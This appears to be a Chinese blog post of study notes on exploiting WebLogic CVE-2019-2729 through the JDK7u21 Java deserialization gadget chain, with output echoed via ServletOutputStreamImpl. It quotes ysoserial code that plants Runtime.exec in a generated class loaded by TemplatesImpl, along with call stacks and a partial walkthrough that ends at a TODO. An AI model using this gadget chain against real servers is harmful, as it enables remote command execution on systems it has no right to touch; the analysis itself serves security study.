weblogic使用jdk7u21 gadget以及回显

220 篇文章 7 订阅
213 篇文章 3 订阅

参考:

条件:
jdk < = 7u21
在这里插入图片描述

weblogic v10的payload解析

来源:
https://github.com/chaitin/xray/blob/master/pocs/weblogic-cve-2019-2729-1.yml
在这里插入图片描述
在java原生反序列化之前将payload转换成序列化文件:

File f = new File("C:\\Users\\Administrator\\Desktop\\chatin_2729_echo.ser");
ObjectOutputStream out2 = new ObjectOutputStream(new FileOutputStream(f));
out2.write(bytes);
out2.flush();
out2.close();

看看这个反序列化出来的Object:
在这里插入图片描述
具体各个属性的生成参考:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java

    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

在序列化出来的字符串里搜到了weblogic/servlet/internal/ServletOutputStreamImpl,应该是用writeStream这个方法进行回显吧。
在这里插入图片描述
并且判断操作系统win/linux,执行对应的/bin/sh -c还是cmd /c

好像是通过异常把结果带出来的:
在这里插入图片描述

E:\Oracle\Middleware10.3.6.0\wlserver_10.3\server\lib\weblogic.jar!\weblogic\servlet\internal\ServletOutputStreamImpl#writeStream(InputStream var1)
在这里插入图片描述
应该是自定义的字节类中调用了ServletOutputStreamImpl#writeStream然后拼接了命令执行的结果,最后返回。
在这里插入图片描述

在这里插入图片描述

Weblogic与jdk的兼容性问题

好像10.3.6不支持jdk 1.8,不过好像可以先用jdk 6,7安装之后然后bypass。
https://stackoverflow.com/questions/22513660/jre-8-compatibility-with-weblogic-10-3-6-11g

直到12.1.3才开始支持jdk 1.8
https://community.oracle.com/thread/3539686

调用栈:

exec:328, Runtime (java.lang)
<clinit>:-1, Pwner45438314278992 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:39, NativeConstructorAccessorImpl (sun.reflect)
newInstance:27, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:513, Constructor (java.lang.reflect)
newInstance0:357, Class (java.lang)
newInstance:310, Class (java.lang)
getTransletInstance:376, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:406, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
equalsImpl:179, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:41, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy89 (com.sun.proxy)
put:376, HashMap (java.util)
readObject:292, HashSet (java.util)
invoke:-1, GeneratedMethodAccessor4 (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
<init>:63, UnitOfWorkChangeSet (oracle.toplink.internal.sessions)
...

Jdk7u21调试

在ysoserial中使用以下两行代码进行调试

    public static void main1() throws Exception {
        // 构造待触发的对象(把油都浇好了,一点就着)
        TemplatesImpl object = (TemplatesImpl)Gadgets.createTemplatesImpl("calc");
        // 触发漏洞(点了,着了)
        object.getOutputProperties();
    }

学习一下如何构造好这个待触发的对象,以及受害者是如何一步一步进入攻击者设计好的陷阱里的。

import javassist.ClassPool;

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        // 这里通过javassist.ClassPool生成class,这里用到随机的类名,方便同一个jvm里反复利用?
        final CtClass clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        CtClass superC = pool.get(abstTranslet.getName());
        // 设置这个生成的class继承自`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

通过javassist生成一个类,将payload插入到类的初始化代码块中,然后转换成字节码。

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

将刚才的那个生成的类的字节,放到TemplatesImpl这个类的_bytecodes属性中。
在这里插入图片描述
然后再通过反射设置TemplatesImpl这个类的另外两个属性:

        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

其中原类TemplatesImpl中的定义是:

    /**
     * Name of the main class or default name if unknown.
     */
    private String _name = null;

    /**
     * A reference to the transformer factory that this templates
     * object belongs to.
     */
    private transient TransformerFactoryImpl _tfactory = null;

到这里,payload的生成结束了。
然后看如何通过getOutputProperties触发payload。
代码的跟踪这里都已经说了:
https://y4er.com/post/ysoserial-jdk7u21/

调用栈:

getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)

在这里插入图片描述
但是关键在于如何让ObjectInputStream#readObject的过程中自动执行TemplatesImpl#getOutputProperties

看看ysoserial是怎么处理的。
调试他的main方法,

PayloadRunner.run(Jdk7u21.class, args);

然后开始生成恶意对象:

final Object objBefore = payload.getObject(command);

所以重点就是看Jdk7u21类的getObject(final String command)方法:

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

这里先构造了一个Map对象,然后通过反射拿到AnnotationInvocationHandler的第一个构造器,也就是:

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

然后ysoserial的代码里传递的是Override.class和刚才那个不知道啥用的map对象。

其中AnnotationInvocationHandler的构造器接收两个参数:一个class对象(java.lang.annotation.Annotation的子类),一个Map对象(key为String类型,value为Object类型)
在这里插入图片描述

构造完之后,分别赋值给了AnnotationInvocationHandler对象的type属性,和memberValues属性。
但是明明为什么刚才已经构造了AnnotationInvocationHandler,type属性被赋值为Override.class,还要下面这句:

Reflections.setFieldValue(tempHandler, "type", Templates.class);

将type属性再赋值为Templates.class?

//TODO

参考:

  • https://www.geek-share.com/detail/2714536302.html
  • https://docs.oracle.com/middleware/12212/wls/INTRO/compatibility.htm#INTRO116
  • https://docs.oracle.com/cd/E23943_01/doc.1111/e14142/jdk7.htm#WLSIG262
  • https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_12_1_3.htm#EOHLU224
  • https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_10_3_6.htm#EOHLU189
  • https://stackoverflow.com/questions/44714576/how-to-update-weblogic-server-jdk-from-1-7-to-1-8-on-windows-7
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值